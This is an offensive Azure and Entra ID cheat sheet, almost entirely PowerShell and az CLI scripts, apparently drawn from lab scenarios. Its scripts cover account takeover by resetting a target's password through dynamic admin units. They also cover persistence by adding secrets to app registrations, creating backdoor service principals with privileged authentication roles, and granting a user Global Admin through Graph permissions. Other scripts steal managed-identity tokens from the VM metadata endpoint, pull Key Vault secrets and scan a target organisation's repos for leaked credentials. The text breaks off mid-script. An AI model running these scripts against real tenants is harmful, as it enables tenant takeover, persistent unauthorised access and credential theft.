# The only people who would not be enumerated would be ones who exist in silos—members of a group, with no cross-group membership, or owners with any groups of affected people. If there is an ‘All Users’ group, it will be especially easy to reach full coverage.
# Script: https://github.com/nyxgeek/bad_guest/blob/main/bad_guest.ps1

Bad Guest - ‘Snowballing’ Automated Recon tool

iwr https://raw.githubusercontent.com/nyxgeek/bad_guest/main/bad_guest.ps1 -Outfile bad_guest.ps1
.\bad_guest.ps1

Admin Units - MG - Get Admin Units we’re Members of

# Start with Az - gen token or bring your MSGraph access token 
$email = ""
$passw = Read-Host "Users password"
$pass = ConvertTo-SecureString $passw -AsPlainText -Force 
$cred = New-Object System.Management.Automation.PSCredential("$email", $pass) 
Connect-AzAccount -Credential $cred

# Set Vars from Az Context
$currentContext = Get-AzContext
$signedInUser = Get-AzADUser -UserPrincipalName $currentContext.Account.Id 

# Switch to MG for AU Membership
Install-Module -Name Microsoft.Graph.Groups -Scope CurrentUser -AllowClobber -Force
Import-Module -Name Microsoft.Graph.Groups -Force
$Token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token | ConvertTo-SecureString -AsPlainText -Force
Connect-MgGraph -AccessToken $Token 

# Get AUs
$administrativeUnits = Get-MgDirectoryAdministrativeUnit -All
$userId = $signedInUser.Id
$memberFound = $false

# Check each Administrative Unit for user membership
foreach ($au in $administrativeUnits) {
    $members = Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId $au.Id
    foreach ($member in $members) {
        if ($member.Id -eq $userId) {
            Write-Output "User $userId is a member of Administrative Unit: $($au.DisplayName)"
            $memberFound = $true
            break 
        }
    }
    if ($memberFound) { break }
}
if (-not $memberFound) {
    Write-Output "User $userId is not a member of any Administrative Units"
}

Admin Units - MG or API - Get Dyanmic AUs and Add Ourselves by Department Attribute

$ruleWord = "Admin" # in this case, correct 'Department' value that will add user to AU 
$email = ""
$passw = Read-Host "Users password"
$pass = ConvertTo-SecureString $passw -AsPlainText -Force 
$cred = New-Object System.Management.Automation.PSCredential("$email", $pass) 
Connect-AzAccount -Credential $cred 
$Token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token | ConvertTo-SecureString -AsPlainText -Force
Connect-MgGraph -AccessToken $Token 
Set-AzADUser -UPNOrObjectId $email -Department $ruleWord

$auName = ""

# Gets the Properties you need for Dynamic AU membership Rules e.x. Department 
$AU = Get-MgDirectoryAdministrativeUnit -All | Where-Object {$_.DisplayName -eq "$auName"} 
$AU
$AU.Id 

Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId $AU.Id | fl 

# API - From Device Code Flow
$Token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token
$accessToken = $Token
# $accessToken = $Tokens.access_token

# Set up the header with the authorization token
$headers = @{
    Authorization = "Bearer $accessToken"
    "Content-Type" = "application/json"
}

# Define the API endpoint for Administrative Units
$uri = "https://graph.microsoft.com/v1.0/directory/administrativeUnits"

# Get All AUs
$response = Invoke-RestMethod -Uri $uri -Headers $headers -Method Get
$response.value
$auName = "ASocrgxhuasw4455335"
$au2 = $response.value | Where-Object { $_.DisplayName -eq "$auName" }

# Add the dynamic attribute we need for membership
# $userId = "$user"

$userId = ""
$keyword = ""

# Define the API endpoint
$uri = "https://graph.microsoft.com/v1.0/users/$userId"

# Prepare the JSON body with the new department value
$body = @{
    department = $keyword
} | ConvertTo-Json

# Make the PATCH request
$response = Invoke-RestMethod -Uri $uri -Headers $headers -Method Patch -Body $body
Dynamic Admin Units - MG/AzureAD - Add Target to Dynamic AU and Reset Password for Account Takeover
$auName = ""

# Gets the Properties you need for Dynamic AU membership Rules e.x. Department 
$AU = Get-MgDirectoryAdministrativeUnit -All | Where-Object {$_.DisplayName -eq "$auName"}
$ruleKey = ""

# Members of the AU, correlate with AzureAD user ObjectId
Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId $AU.Id
$members = Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId $AU.Id
foreach ($member in $members) {
    $user = Get-AzureADUser -ObjectId $member.Id
    Write-Output $user
}

# Set Target Users Department to the keyword so we can reset password
$targetUser = ""
$ruleKey = ""
Set-AzADUser -UPNOrObjectId $targetUser -Department $ruleKey

# Check if the User is in our AU now
Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId $AU.Id
$members = Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId $AU.Id
foreach ($member in $members) {
    $user = Get-AzureADUser -ObjectId $member.Id
    Write-Output $user
}

# Convert the plaintext password to SecureString
$password = "DankAssNewPassword1323!"
$securePassword = ConvertTo-SecureString -String $password -AsPlainText -Force

# Set the new password without forcing the user to change it at next login
Set-AzureADUserPassword -ObjectId $targetUser -Password $securePassword -ForceChangePasswordNextLogin $false

# Connect with new user
$creds = New-Object System.Management.Automation.PSCredential ("$targetUser", $passwd)
Connect-AzureAD -Credential $creds

Interesting Roles and Permissions

Can Promote Other Principals to Global Admin / Privileged Roles / AppRoleAssignment.Readwrite.All
  • Partner Tier2 Support
  • Global Admin
  • Privileged Role Admin
  • Graph Permission: AppRoleAssignment.ReadWrite.All Grant itself or any other principal RoleManagement.ReadWrite.Directory, which can grant GA
  • Graph Permission: RoleManagement.ReadWrite.Directory Promote self or anyone to GA
Creating a New User Requires
  • User Administrator
  • Directory Writers
  • Global Administrator
  • Partner Tier2 Support
  • Partner Tier1 Support
  • Permission: Directory.ReadWrite.All
  • Permission: User.ReadWrite.All
Dangerous Azure Permissions
$KnownDangerousPermissions = @{      
    '`*/`*'    = 'UNLIMITED PRIVILEGES IN THE ENTIRE AZURE SUBSCRIPTION!'
    '`*/read'  = 'Can read all sensitive data on a specified resource/service!'
    '`*/write' = 'Can MODIFY all settings and data on a specified resource/service!'

    'storageAccounts/read'                                = 'Allows User to read Storage Accounts and related Blobs'
    'storageAccounts/blobServices/containers/read'        = 'Allows User to read Blobs Containers'
    'storageAccounts/blobServices/containers/blobs/write' = 'Allows Users to upload malicious files to Blob Containers'

    'roleAssignments/write'                    = 'Facilitates Privileges Escalation through a malicious Role Assignment'

    'microsoft.intune/allEntities/allTasks'    = 'Death From Above: Lateral Movement From Azure to On-Prem AD via Powershell Script code execution as an Intune Administrator'
    'microsoft.intune/allEntities/`*'          = 'Death From Above: Lateral Movement From Azure to On-Prem AD via Powershell Script code execution as an Intune Administrator'
    'microsoft.intune/*/`*'                    = 'Death From Above: Lateral Movement From Azure to On-Prem AD via Powershell Script code execution as an Intune Administrator'

    'virtualMachines/`*'                       = 'Complete control over Azure VM can lead to a machine takeover by Running arbitrary Powershell commands (runCommand)'
    'virtualMachines/read'                     = 'User can read Azure VMs User Data contents as well as other VMs properties.'
    'virtualMachines/write'                    = 'Partial control over Azure VM can lead to a machine takeover by modification of VMs User Data'
    'virtualMachines/runCommand'               = 'Allows User to Compromise Azure VM by Running arbitrary Powershell commands.'

    'virtualMachines/extensions/write'         = 'User can compromise Azure VM by creating a Custom Script Extension on that VM.'
    'virtualMachines/extensions/read'          = 'User can read a Custom Script Extension output on a Azure VM, which may contain sensitive data.'
    
    'secrets/getSecret'                        = 'User can read Key Vault Secret contents'
    'vaults/*/read'                            = 'User can access Key Vault Secrets.'
    'Microsoft.KeyVault/vaults/`*'             = 'User can access Key Vault Secrets.'
    'vaults/certificatecas/`*'                 = 'User can access Key Vault Certificates'
    'vaults/certificates/`*'                   = 'User can access Key Vault Certificates'
    'vaults/keys/`*'                           = 'User can access Key Vault Keys'
    'vaults/secrets/`*'                        = 'User can access Key Vault Keys'

    'microsoft.directory/users/inviteGuest'    = 'Can invite Guest Users to Azure AD Tenant'

    'automationAccounts/`*'                    = 'Allows User to compromise Azure VM & Hybrid machines through Azure Automation Runbooks'
    'automationAccounts/jobs/`*'               = 'Allows User to compromise Azure VM & Hybrid machines through Azure Automation Account Jobs'
    'automationAccounts/jobs/write'            = 'Allows User to compromise Azure VM & Hybrid machines through Azure Automation Account Jobs'
    'automationAccounts/runbooks/`*'           = 'Allows User to compromise Azure VM & Hybrid machines through Azure Automation Runbooks'

    'users/password/update'                    = 'User can reset Other non-admin user passwords'
    'users/authenticationMethods/create'       = 'User can create new Authentication Method on another user'
    'users/authenticationMethods/delete'       = 'User can delete Authentication Method of another user.'
    'users/authenticationMethods/basic/update' = 'User can update authentication methods of another user'

    '/`*' = 'Unlimited privileges in a specified Azure Service. May result in data compromise, infiltration and other attacks.'    
    #'`*'  = 'Unlimited privileges in this specific resource/service!'
}

Enterprise Applications, App Registrations and App Identities

AzureAD - Application Enumeration
# Get all application objects registered using the current tenant.
Get-AzureADApplication -All $true

# Get an application based on the display name
$obj = Get-AzureADApplication -All $true | Where-Object { $_.DisplayName -match "app" }

$appId = "$obj.AppId"

# Show application with an application password (Will not show passwords)
Get-AzureADApplicationPasswordCredential -ObjectID $appId

# Get all details about an application
Get-AzureADApplication -ObjectId $appId | Format-List *

# Get the owner of an application
Get-AzureADApplication -ObjectId $appId | Get-AzureADApplicationOwner | Format-List *

# Get apps where a user has a role (exact role is not shown)
Get-AzureADUser -ObjectId $objId | Get-AzureADUserAppRoleAssignment | Format-List *

# Get apps where a group has a role (exact role is not shown)
Get-AzureADGroup -ObjectId $groupID | Get-AzureADGroupAppRoleAssignment | Format-List *
AzureAD - Get Detailedinformation about an Application
$displayName = 'processfile'
(Get-AzureADApplication -Filter "DisplayName eq '$($displayName)'") | fl *
Az/MG - Get Detailed/Sensitive Notes Information about App Registration
$appReg = ""
$Token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token | ConvertTo-SecureString -AsPlainText -Force
Connect-MgGraph -AccessToken $Token
Get-MgApplication -All | Where-Object{$_.DisplayName -eq $appReg } | fl *
AzureAD - Get AppRoles of a given Application
$displayName = 'Finance Management System'
(Get-AzureADApplication -Filter "DisplayName eq '$($displayName)'").AppRoles
ROADRecon - GUI is the cleanest way to view OAuth App/User relationships and permissions
$user = ""
$pass = Read-Host
roadrecon auth -u $user -p $pass
roadrecon gather
roadrecon gui
AzureAD/MG - Restore Deleted App Registration, Check Notes and Reset User Password
AzureAD - Add Client Secrets to App Registration
$passwd = ConvertTo-SecureString $pass -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("$user", $passwd)
Connect-AzureAD -Credential $creds

$AppRegName = "ASmiujzegodv3219484"

# MG
#   $pass = ConvertTo-SecureString "$pass" -AsPlainText -Force 
#   $cred = New-Object System.Management.Automation.PSCredential("$email", $pass) 
#   Connect-AzAccount -Credential $cred 
#   $Token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token | ConvertTo-SecureString -AsPlainText -Force
#   Connect-MgGraph -AccessToken $Token
#   $app = Get-MgApplication -All | Where-Object {$_.DisplayName -eq $AppRegName}
#     
#   $params = @{
#       passwordCredential = @{
#       displayName = "Password friendly name"
#       }
#   }
#   Add-MgApplicationPassword -ApplicationId $app.AppId -BodyParameter $params 

# Retrieve the application details using filter
$application = Get-AzureADApplication -Filter "DisplayName eq '$AppRegName'"
if ($application) {
    $application | Select-Object ObjectId, DisplayName, AppId
} else {
    Write-Host "No application found with DisplayName = $AppRegName"
}

$startDate = Get-Date
$endDate = $startDate.AddYears(1)  # Set the expiry for 1 year, adjust as necessary
$secret = New-AzureADApplicationPasswordCredential -ObjectId $app.ObjectId -StartDate $startDate -EndDate $endDate


# Variables
$tenantId = (Get-AzureADTenantDetail).ObjectId
$appId = $application.AppId 
$clientSecretValue = $clientSecret.Value 

# Connect to Az with the client secret
$secureStringSecret = ConvertTo-SecureString $clientSecretValue -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $appId, $secureStringSecret
Connect-AzAccount -ServicePrincipal -Tenant $tenantId -Credential $credential 
AzureAD 33 - Abuse Password Administrator Role and Application Owner Rights
$user = ""
$pass = ""
$passwd = ConvertTo-SecureString $pass -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("$user", $passwd)
Connect-AzureAD -Credential $creds
Connect-AzAccount -Credential $creds
$Token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token | ConvertTo-SecureString -AsPlainText -Force
Connect-MgGraph -AccessToken $Token 


$AppRegistrationName	= ""
$TargetUsername	= "

# Search for the App and its owner, someone in our AU
# We see our TargetUSer is the Owner of the App Registration
$obj = Get-AzureADApplication -All $true | Where-Object { $_.DisplayName -match "$AppRegistrationName" }; $obj | Get-AzureADApplicationOwner

# Change the TargetUSers password so we can login as them
$password = "DankAssNewPassword1323!"
$securePassword = ConvertTo-SecureString -String $password -AsPlainText -Force

# Set the new password without forcing the user to change it at next login
Set-AzureADUserPassword -ObjectId $targetUser -Password $securePassword -ForceChangePasswordNextLogin $false

# SignIn as TargetUSer
$tpass = ""
$tpasswd = ConvertTo-SecureString $tpass -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("$targetuser", $tpasswd)
Connect-AzureAD -Credential $creds
Connect-AzAccount -Credential $creds
$Token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token | ConvertTo-SecureString -AsPlainText -Force
Connect-MgGraph -AccessToken $Token 

# add secret to App
$startDate = Get-Date
$endDate = $startDate.AddYears(1)  # Set the expiry for 1 year, adjust as necessary
$secret = New-AzureADApplicationPasswordCredential -ObjectId $obj.ObjectId -StartDate $startDate -EndDate $endDate
AzureAD - Service Principal Enumeration
# Get all service principals
Get-AzureADServicePrincipal -All $true

# Get a service principal based on the display name
Get-AzureADServicePrincipal -All $true | Where-Object { $_.DisplayName -match "app" }

# Get group and role memberships of all service principals
Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership

# Store Service Principal in variable
$sp = ""

# Get all details about a service principal
Get-AzureADServicePrincipal -ObjectId $sp | Format-List *

# Get owners of a service principal
Get-AzureADServicePrincipal -ObjectId $sp | Get-AzureADServicePrincipalOwner | Format-List *

# Get objects owned by a service principal
Get-AzureADServicePrincipal -ObjectId $sp | Get-AzureADServicePrincipalOwnedObject

# Get objects created by a service principal
Get-AzureADServicePrincipal -ObjectId $sp | Get-AzureADServicePrincipalCreatedObject

# Get group and role memberships of a service principal
Get-AzureADServicePrincipal -ObjectId $sp | Get-AzureADServicePrincipalMembership | Format-List *
AzureAD - Get Permissions of a Service Principal
$spName =  "vaultfrontend"
$servicePrincipal = Get-AzureADServicePrincipal -SearchString $spName

# Get all directory roles
$directoryRoles = Get-AzureADDirectoryRole

# Check each role for the service principal
foreach ($role in $directoryRoles) {
    $roleMembers = Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId
    if ($roleMembers.ObjectId -contains $servicePrincipal.ObjectId) {
        Write-Output "Service Principal is a member of the Azure AD directory role: $($role.DisplayName)"
    }
}

# Get custom role assignments for the service principal
$customRoles = Get-AzRoleAssignment -ObjectId $servicePrincipal.ObjectId

foreach ($role in $customRoles) {
    Write-Output "Service Principal has custom role: $($role.RoleDefinitionName) at scope: $($role.Scope)"
}

Applications and Service Principals - Persistence

With privileges of Application Administrator, GA or a custom role with microsoft.directory/applications/credentials/update permissions, we can add credentials (secret or certificate) to an existing application. It’s possible to target an application with high permissions or add a new application with high permissions. An interesting role to add to the application would be Privileged authentication administrator role as it allows to reset password of Global Administrators. This technique also allows to bypass MFA.

Resources: https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597 https://posts.specterops.io/passwordless-persistence-and-privilege-escalation-in-azure-98a01310be3f

AzADAppSecret - Add secrets with lutzenfried/OffensiveCloud/Add-AzADAppSecret.ps1
git clone https://github.com/lutzenfried/OffensiveCloud
iwr https://github.com/lutzenfried/OffensiveCloud/blob/main/Azure/Tools/Add-AzADAppSecret.ps1 -Outfile Add-AzADAppSecret.ps1
. .\Add-AzADAppSecret.ps1
Add-AzADAppSecret -GraphToken $graphtoken -Verbose
AzureAd - Use secrets to authenticate as Service Principal
$password = ConvertTo-SecureString '<SECRET/PASSWORD>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('<AppID>', $password)
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant '<TenantID>'
AzureAD - Certificate Authentication
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
AzureAd - Create Backdoor Application, user certificat auth and assign permissions
# Create self-signed cert
$pwd = "<password>"
$notAfter = (Get-Date).AddMonths(6) # Valid for 6 months
$thumb = (New-SelfSignedCertificate -DnsName "drumkit.onmicrosoft.com" -CertStoreLocation "cert:\LocalMachine\My"  -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $notAfter).Thumbprint
$pwd = ConvertTo-SecureString -String $pwd -Force -AsPlainText
Export-PfxCertificate -cert "cert:\localmachine\my\$thumb" -FilePath c:\temp\examplecert.pfx -Password $pwd

# load the cert
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate("C:\temp\examplecert.pfx", $pwd)
$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())

# Create the App and Service Principal
$application = New-AzureADApplication -DisplayName "test123" -IdentifierUris "https://rodejo2177668"
New-AzureADApplicationKeyCredential -ObjectId $application.ObjectId -CustomKeyIdentifier "Test123" -Type AsymmetricX509Cert -Usage Verify -Value $keyValue -EndDate $notAfter
$sp=New-AzureADServicePrincipal -AppId $application.AppId

# Assign desired permissions
$role = "Directory Readers"
Add-AzureADDirectoryRoleMember -ObjectId (Get-AzureADDirectoryRole | where-object {$_.DisplayName -eq "$role"}).Objectid -RefObjectId $sp.ObjectId

# Connect with Certificate
$tenant=Get-AzureADTenantDetail
Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId  $Application.AppId -CertificateThumbprint $thumb
Backdoor Service Principal - Create a service principal with reader, VM rights and the ability to reset GA passwords
$spName = "AzureATPConnector"

az ad sp create-for-rbac --name $spName--role "Virtual Machine Contributor"

$spObjectId = (Get-AzureADServicePrincipal -Filter "DisplayName eq '$spName'").ObjectId

# Fetch the "Global Reader" role object ID
$globalReaderRoleId = (Get-AzureADDirectoryRole | Where-Object { $_.DisplayName -eq "Global Reader" }).ObjectId

# Assign the "Global Reader" role to the service principal
Add-AzureADDirectoryRoleMember -ObjectId $globalReaderRoleId -RefObjectId $spObjectId

# Fetch the "Privileged Authentication Administrator" role object ID
$privilegedAuthAdminRoleId = (Get-AzureADDirectoryRole | Where-Object { $_.DisplayName -eq "Privileged Authentication Administrator" }).ObjectId

# Assign the "Privileged Authentication Administrator" role to the service principal
Add-AzureADDirectoryRoleMember -ObjectId $privilegedAuthAdminRoleId -RefObjectId $spObjectId

# Reset
# az ad sp credential reset --name "$spName"

Managed Identities

Managed Identities - Enumeration with Access Token
# Abusing tokens
# Check the resources available to the managed identity
$token = 'eyJ0eX...'

Connect-AzAccount -AccessToken $token -AccountId <clientID>
Get-AzResource

# Use the Azure REST API to get the subscription id
$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
    Method = 'GET'
    Uri = $URI
    Headers = @{
        'Authorization' = "Bearer $Token"
    }
}
(Invoke-RestMethod @RequestParams).value

# List all the resources available by the managed identity to the app service
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
$RequestParams = @{
    Method = 'GET'
    Uri = $URI
    Headers = @{
        'Authorization' = "Bearer $Token"
    }
}
(Invoke-RestMethod @RequestParams).value

# Check what actions are allowed to the VM
# The runcommand privileges lets us execute commands on the VM
$tenant = ""
$rg = ""
$vmname = ""
$URI = "https://management.azure.com/subscriptions/$tenant/resourceGroups/$rg/providers/Microsoft.Compute/virtualMachines/$vmname/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"

$RequestParams = @{
    Method = 'GET'
    Uri = $URI
    Headers = @{
        'Authorization' = "Bearer $Token"
    }
}

(Invoke-RestMethod @RequestParams).value

# List all enterprise applications
$Token = 'ey..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
    Method = 'GET'
    Uri = $URI
    Headers = @{
        'Authorization' = "Bearer $Token"
    }
}
(Invoke-RestMethod @RequestParams).value
Managed Identity - Using the APIs from webApp/curl
# Request Management Token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# Request keyvault Access token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

#Request AADGraph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

Abuse Application.ReadWrite.All To Add User to GLobal Admin Role

Requires a service principal with Application

# Create a self signed certificate
$AppDisplayName = "Abuse of API Permissions"
$cert = New-SelfSignedCertificate -CertStoreLocation "Cert:\CurrentUser\My" -Subject "CN=$($AppDisplayName)" -KeySpec KeyExchange -NotAfter (Get-Date).AddDays(2)
Export-Certificate -Cert $cert -FilePath ~\Downloads\AppRoleAssignment.cer

# Sign in with the user that has owner permissions and add the exported public certificate as a secret to the app registration

# Modify the following variables to match your environment
$ClientId = "GUID"
$servicePrincipalId = "GUID"
$TenantId = "GUID"
$TargetUserUPN = "UPNOfAnyUser" # Will be GA at the end of this script

# Connect as the application using the the certificate as a secret 
Connect-MgGraph -ClientId $ClientId -CertificateThumbprint $cert.Thumbprint -TenantId $TenantId

# Check you permission scopes
Get-MgContext

# Add additional permissions to the app
$appRoleAssignments = Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$servicePrincipalId/appRoleAssignments"  | Select-Object -ExpandProperty value
$params = @{
    principalId = $servicePrincipalId
    resourceId  = $appRoleAssignments.resourceId
    appRoleId   = "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" # RoleManagement.ReadWrite.Directory
}
Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$servicePrincipalId/appRoleAssignments" -Body $params
$params = @{
    principalId = $servicePrincipalId
    resourceId  = $appRoleAssignments.resourceId
    appRoleId   = "df021288-bdef-4463-88db-98f22de89214" # User.Read.All
}
Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$servicePrincipalId/appRoleAssignments" -Body $params

# Reconnect to apply the new API permissions
Disconnect-MgGraph
Connect-MgGraph -ClientId $ClientId -CertificateThumbprint $cert.Thumbprint -TenantId $TenantId

# Check the scopes again
Get-MgContext

# Get UserId for the user
$TargetUser = Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/users/$TargetUserUPN"

# Add the user to the global admin role
$Reference = @{ "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/" + $TargetUser.id }
Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/v1.0/directoryRoles/roleTemplateId=62e90394-69f5-4237-9190-012177145e10/members/`$ref" -Body $Reference -ContentType "application/json"

Privilege Escalation Scenarios

PrivEsc 1 - Application Ownership to VM Control and Managed Identity on a Storage resource

We should check which applications we have access to in addition to service prinicpals. Here we had a service principal but no password, but had ownership rights to this app. We used our ownership over the app to reset the credentials, then authenticate with the new appId/password, and look for new opportunities. We find a VM, discover it’s running as a managed Identity, and install the Azure CLI to exploit it’s access to other resources. We Sign in with the client_id on the VM itself, then pivot to a Storage account that VM has access to, and enumerate what we find there as well.

az ad sp list --show-mine
az ad app list --show-mine

$appObj = ""

# Reset Apps credentials
az ad app credential reset --id $appObj

# Use the new appId/pass
$tenant = "$tenant"
$appId = ""
$pass = ""

az login --service-principal -u $appId -p $pass --tenant $tenant
PrivEsc 1 - Enumerate Resources and List VMs
az resource list -o table
az vm list 

$vmname = "goatwhore"
$rg = "goatwhore"
PrivEsc 1 - Install az cli on the VM we control
az vm run-command invoke --command-id RunShellScript --name $vmname --resource-group $rg --scripts "curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
PrivEsc 1 - Curl form the VM to get the Identity, use the ClientID you got and pivot to the managed ID’s resources
$Id = "curl -H 'Metadata:true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -s"

#  Get the ID and Access Token
az vm run-command invoke --command-id RunShellScript --name $vmname --resource-group $rg --scripts $Id

$client_id = ""

# Login from the VM
az vm run-command invoke --command-id RunShellScript --name $vmname --resource-group $rg --scripts "az login --identity --username $client_id --allow-no-subscription"

# See what you have, like attached Storage accounts
az vm run-command invoke --command-id RunShellScript --name $vmname --resource-group $rg --scripts "az resource list -o table"

# Use the VMs current login to enumerate Storage Account containers it has access to
$storageAcct = "storemedaniels"
az vm run-command invoke --command-id RunShellScript --name $vmname --resource-group $rg --scripts "az storage container list --account-name $storageAcct --auth-mode login"

PrivEsc 2 - Pivot from Keyvault to a User who can Assign Permissions of Subscription

The target had a developer on Twitter complaining about his companies move to Github for version control. Sounds like an awesome opportunity for us, so we begin to look for their users on that platform. We find their new organization account, and decide to run trufflehog and find Service Principal credentials exposed in a config file.

PrivEsc 2 - Initial Access is OSINT on a Repo
# Install trufflehog using installation script
$org = "targetSoft"
curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin

# Scan test Repo for Verified Secrets w/ JSON output
trufflehog git https://github.com/trufflesecurity/test_keys --only-verified --json

# Scan the target  Org
trufflehog github --org=$org --only-verified --json
PrivEsc 2 - Retrieve Tenant Id, Auth with service principal
$domain = "TargetSoft"
curl https://login.microsoftonline.com/$domain/.well-known/openid-configuration

$tenant = ""
$appId = ""
$pass = ""

az login --service-principal -u $appId -p $pass --tenant $tenant 
# --allow-no-subscription
PrivEsc 2 - Az CLI - Sitrep
# list available resources
az resource list -o table
az ad sp list --show-mine
az ad app list --show-mine
PrivEsc 2 - Located KeyVault and Extracted Secret
$rg = "goatwhore"
$name = "$rg"
$secretName = "$name"

# Check out all vaults in the RG
az keyvault list --resource-group $rg

# Check the vault
az keyvault secret list --vault-name $name

# check if its purged
az keyvault recover --name $name

# Get the privileged users password from the vault
az keyvault secret show --vault-name $name --name $secretName
PrivEsc 2 - Sign in as User that can Modify Permissions, Assign yourself owner of subscription
$user = ""
$pass = ""

az login -u $user -p $pass
az role assignment create --role "Owner" --assignee "$user"
az role assignment list --all --assignee $user
PrivEsc 3 - Tenant Takeover via Application Owner, Managed Identity and Key Vault Secrets

Initial access through password spraying.

PrivEsc 3 - Authenticate
$user = "john5"
$pass = "SeGoatsePrivilege1!"
$domain = ".onmicrosoft.com"
$email = "$user@$domain"

az login --username $user@$domain --password $pass --allow-no-subscriptions

$securePassword = ConvertTo-SecureString $pass -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential("$email", $securePassword)
Connect-AzureAD -Credential $credential
PrivEsc 3 - Recon
# Get Users objId and Find the Applications it Owns
$currentUser = Get-AzureADUser -ObjectId $email
$currentUserId = $currentUser.ObjectId
$ownedApps = Get-AzureADApplication -All $true | Where-Object { (Get-AzureADServicePrincipal -Filter "appId eq '$($_.AppId)'").Owners.ObjectId -contains $currentUserId }

# Retrieve the ObjectID of the Azure AD application
$scenario5ObjectID = (Get-AzureADApplication -SearchString "Scenario5App").ObjectId
$scenario5AppID = (Get-AzureADApplication -SearchString "Scenario5App").AppId

# Get the details of the application
$app = Get-AzureADApplication -ObjectId $scenario5ObjectID

# Convert requiredResourceAccess to JSON with a depth of 3
$json = $app.requiredResourceAccess | ConvertTo-Json -Depth 3

# Parse the specific role from the JSON data
$scenario5Role = ($json | ConvertFrom-Json).requiredResourceAccess.ResourceAccess | Where-Object { $_.Type -eq "Role" } | Select-Object -ExpandProperty Id

# Retrieve all service principals
$scenario5SP = Get-AzureADServicePrincipal -All $true

# Output the role and service principals (optional)
Write-Host "Role ID: $scenario5Role"
Write-Host "Service Principals: $scenario5SP"
PrivEsc 3 - Add App Password to Application
Try {
    $AppPassword = New-AzureADApplicationPasswordCredential -ObjectId $scenario5ObjectID
    Start-Sleep -s 5
} catch {
    Write-Host "Error creating password credential: $_"
    exit
}
PrivEsc 3 - Disconnect and Authenticate Using New App Password
$TenantID = (Get-AzureADTenantDetail).ObjectId
Write-Host "[+] Disconnect FROM AZURE"
Disconnect-AzAccount

$AzureApplicationID = $scenario5AppID
$AzureTenantID = $TenantID
$AzurePassword = ConvertTo-SecureString $AppPassword.Value -AsPlainText -Force
$psCred = New-Object System.Management.Automation.PSCredential($AzureApplicationID, $AzurePassword)

Try {
    Connect-AzAccount -Credential $psCred -TenantId $AzureTenantID -ServicePrincipal
} Catch {
    Write-Output "Could not connect to Azure with Service Principal: $_"
    exit
}
PrivEsc 3 - Retrieve Access Token
$APSUser = Get-AzContext 
$acct = $APSUser.Account
$resource = "https://management.azure.com"
$scenario5Token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate($APSUser.Account, $APSUser.Environment, $APSUser.Tenant.Id.ToString(), $null, [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, $null, $resource).AccessToken
PrivEsc 3 - Retrieve Function App Details and Post New User to SCM Endpoint of Azure Web App

$appName = "xmgoatz-windows-function-app"

# Retrieve Details about the Function App
$arr = @("SubscriptionId", "ResourceGroupName", "Name")
$uriParam = [System.Collections.ArrayList]::new()
foreach ($param in $arr) {
    $uriParam.add(((Get-AzFunctionApp) | Where-Object { $_.Name -cmatch "$appName" }).$param)
}

# Request an Access Token and use it to Create a new SCM User
$context = Get-AzContext
$accessToken = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate($context.Account, $context.Environment, $context.Tenant.Id.ToString(), $null, [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, $null, "https://management.azure.com/").AccessToken

$headers = @{
    "Host" = "management.azure.com"
    "Accept" = "text/html,application/xhtml+xml"
